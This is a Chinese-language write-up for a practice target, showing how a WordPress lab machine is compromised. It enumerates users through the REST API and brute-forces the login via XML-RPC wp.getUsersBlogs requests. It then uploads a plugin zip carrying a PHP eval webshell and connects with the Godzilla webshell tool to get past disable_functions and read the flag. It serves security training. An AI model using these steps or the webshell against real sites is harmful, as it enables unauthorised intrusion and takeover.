【靶机实战】WordPress – 花咲雨町 靶机解题思路

靶机信息

可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 渗透测试靶场 -> WordPress – “花咲雨町”

程序:@WordPress

前端:@花咲雨町

图片[1] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell

靶机实战

信息收集

# 获取登录用户名

首先从题目信息得知,靶机的应用程序为WordPress。在WordPress上有一个REST API,可以获取到当前WordPress的真实用户名,/wp-json/wp/v2/users 是 WordPress REST API 的一个端点,默认情况下,任何人都可以通过访问这个端点来获取网站的用户列表及其详细信息

将靶机地址拼接这个REST API,例如:http://node.hackhub.get-shell.com:48774/wp-json/wp/v2/users,访问后可以获取到一串JSON数据。

[
    {
        "id": 2,
        "name": "糸北",
        "url": "",
        "description": "打破一切.",
        "link": "http://192.168.74.11/author/2",
        "slug": "webadmin",
        "avatar_urls": {
            "24": "https://secure.gravatar.com/avatar/7932a5605eef1797bf6cbba8d576526e?s=24&d=mm&r=g",
            "48": "https://secure.gravatar.com/avatar/7932a5605eef1797bf6cbba8d576526e?s=48&d=mm&r=g",
            "96": "https://secure.gravatar.com/avatar/7932a5605eef1797bf6cbba8d576526e?s=96&d=mm&r=g"
        },
        "meta": [],
        "_links": {
            "self": [
                {
                    "href": "http://192.168.74.11/wp-json/wp/v2/users/2",
                    "targetHints": {
                        "allow": [
                            "GET"
                        ]
                    }
                }
            ],
            "collection": [
                {
                    "href": "http://192.168.74.11/wp-json/wp/v2/users"
                }
            ]
        }
    }
]

其中,“slug”: “webadmin” 表示的就是当前WordPress站点的真实登录用户名,所以获取到了这个站点的真实登录用户名:webadmin


# 寻找登录爆破入口

WordPress 的 xmlrpc.php 文件是一个用于处理外部请求的接口,允许通过 XML-RPC 协议与 WordPress 网站进行通信,允许外部应用程序与 WordPress 进行交互,如发布文章、管理评论、获取统计数据、登录请求等。

Tips:在默认情况下,一些主题会禁用 xmlrpc.php 这个功能文件(不用这个东西的话可以直接删除这个文件以提升安全性,不影响WordPress的使用),包括本靶机默认情况下也是禁用的,但是为了流程就开起来了。不过在很多的WordPress站点上,这个功能并没有关闭,依然可以利用。

访问 xmlrpc.php 这个文件,发现有回显,可以发送下面的POST数据,查询当前可以使用什么方法。

POST /xmlrpc.php HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Cookie: PHPSESSID=mu311op1a8stoiprqrp1td1geh; showed_system_notice=showed; fps_accelerat=116

<methodCall>
  <methodName>system.listMethods</methodName>
  <params></params>
</methodCall>

Request数据包

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: text/xml; charset=UTF-8
Date: Mon, 30 Dec 2024 06:58:01 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=4
Pragma: no-cache
Proxy-Connection: keep-alive
Server: nginx
Set-Cookie: PHPSESSID=molf3hpteadsjqvaq2ir3dd7us; path=/

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>
  <value><string>mt.getPostCategories</string></value>
  <value><string>mt.getRecentPostTitles</string></value>
  <value><string>mt.getCategoryList</string></value>
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>metaWeblog.deletePost</string></value>
  <value><string>metaWeblog.newMediaObject</string></value>
  <value><string>metaWeblog.getCategories</string></value>
  <value><string>metaWeblog.getRecentPosts</string></value>
  <value><string>metaWeblog.getPost</string></value>
  <value><string>metaWeblog.editPost</string></value>
  <value><string>metaWeblog.newPost</string></value>
  <value><string>blogger.deletePost</string></value>
  <value><string>blogger.editPost</string></value>
  <value><string>blogger.newPost</string></value>
  <value><string>blogger.getRecentPosts</string></value>
  <value><string>blogger.getPost</string></value>
  <value><string>blogger.getUserInfo</string></value>
  <value><string>blogger.getUsersBlogs</string></value>
  <value><string>wp.restoreRevision</string></value>
  <value><string>wp.getRevisions</string></value>
  <value><string>wp.getPostTypes</string></value>
  <value><string>wp.getPostType</string></value>
  <value><string>wp.getPostFormats</string></value>
  <value><string>wp.getMediaLibrary</string></value>
  <value><string>wp.getMediaItem</string></value>
  <value><string>wp.getCommentStatusList</string></value>
  <value><string>wp.newComment</string></value>
  <value><string>wp.editComment</string></value>
  <value><string>wp.deleteComment</string></value>
  <value><string>wp.getComments</string></value>
  <value><string>wp.getComment</string></value>
  <value><string>wp.setOptions</string></value>
  <value><string>wp.getOptions</string></value>
  <value><string>wp.getPageTemplates</string></value>
  <value><string>wp.getPageStatusList</string></value>
  <value><string>wp.getPostStatusList</string></value>
  <value><string>wp.getCommentCount</string></value>
  <value><string>wp.deleteFile</string></value>
  <value><string>wp.uploadFile</string></value>
  <value><string>wp.suggestCategories</string></value>
  <value><string>wp.deleteCategory</string></value>
  <value><string>wp.newCategory</string></value>
  <value><string>wp.getTags</string></value>
  <value><string>wp.getCategories</string></value>
  <value><string>wp.getAuthors</string></value>
  <value><string>wp.getPageList</string></value>
  <value><string>wp.editPage</string></value>
  <value><string>wp.deletePage</string></value>
  <value><string>wp.newPage</string></value>
  <value><string>wp.getPages</string></value>
  <value><string>wp.getPage</string></value>
  <value><string>wp.editProfile</string></value>
  <value><string>wp.getProfile</string></value>
  <value><string>wp.getUsers</string></value>
  <value><string>wp.getUser</string></value>
  <value><string>wp.getTaxonomies</string></value>
  <value><string>wp.getTaxonomy</string></value>
  <value><string>wp.getTerms</string></value>
  <value><string>wp.getTerm</string></value>
  <value><string>wp.deleteTerm</string></value>
  <value><string>wp.editTerm</string></value>
  <value><string>wp.newTerm</string></value>
  <value><string>wp.getPosts</string></value>
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

在发现了 system.multicallwp.getUsersBlogs 这些方法,可以采用 wp.getUsersBlogs方法来进行爆破登录密码,数据包如下

POST /xmlrpc.php HTTP/1.1
Host: node.hackhub.get-shell.com:48774
Connection: keep-alive
Content-Length: 170

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>

可以发现在请求的时候,返回了登录情况

图片[2] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell

# 爆破密码

利用BurpSuite的Intruder模块对数据包进行爆破,在前面已经获取到了用户名:webadmin,只需要对密码进行爆破即可。进行爆破后发现密码为:admin123

图片[3] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell
图片[4] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell

使用获取到的凭据:webadmin / admin123 进行登录,发现成功进行登录!

图片[5] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell
图片[6] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell

上传后门

# 制作后门

一般来说,进入后WordPress后台只需要使用 插件 -> 插件文件编辑器 或者 外观 -> 主题文件编辑器 ,就可以直接编辑主题 / 插件的PHP代码,从而实现插入后门。

但是,由于站长在打包环境的时候除了一些问题,导致这俩功能失效了,所以变相增加了难度。不过仍然可以进行实现上传后门。

首先通过WordPress官方网站:WordPress 插件 | WordPress.org China 简体中文,随意下载一个插件压缩包,我这边使用健康检查与故障排除来进行演示。

图片[7] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell

准备一个一句话木马:<?php eval($_POST["cmd"]); ?> 写入到 shell.php 这个文件,然后将 shell.php 这个文件放入到刚才下载的插件压缩包内。

图片[8] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell

然后通过 后台 -> 插件 -> 安装新插件,将刚才制作好留有后门的插件压缩包进行插件安装,并且启用插件。然后通过 插件 -> 插件文件编辑器 来查看文件,发现插入的后门已经成功安装进了站点内。

图片[9] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell

获取Shell

一般来说,WordPress的插件目录在 /wp-content/plugins/ ,而当前 shell.php 的文件路径在 health-check/shell.php ,所以后门的路径就是:<url>/wp-content/plugins/health-check/shell.php,例如:http://node.hackhub.get-shell.com:48774/wp-content/plugins/health-check/shell.php

访问到后门文件后,执行函数 phpinfo(),搜索disable_functions,发现了禁用了非常多的系统函数,所以常规方法就不行了,所以得借助一些其他方法来进行绕过disable_functions

图片[10] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell

这里使用WebShell工具:哥斯拉(Godzilla)来进行演示,利用工具生成 shell.php,模式选择图中的方法(原理就是利用伪协议 php://input

图片[11] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell
图片[12] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell

然后使用之前相同的办法,将 shell.php 插入到插件安装包中,重新上传插件包并启用,然后访问到shell的路径:<url>/wp-content/plugins/health-check/shell.php

图片[13] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell

然后使用哥斯拉WebShell工具,将shell.php的路径添加进去,进行连接,连接成功后在根目录发现了 flag文件。

图片[14] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell
图片[15] - 【靶机实战】WordPress – 花咲雨町 靶机解题思路 - 极核GetShell
THE END
想说的话 1  QQ & 微信交流群: 点击查看加群方式
2  本站运营不易,以真心❤️换真心💕,如果帮助到你,可以 推荐给朋友 或者 开通金贝会员 支持一下本站!
3  请不要进行任何非授权的网络攻击,如果造成任何损失均由使用者本人负责,与本站和原作者无关!
点赞101 分享
茶谈区 共2条

请登录后发表评论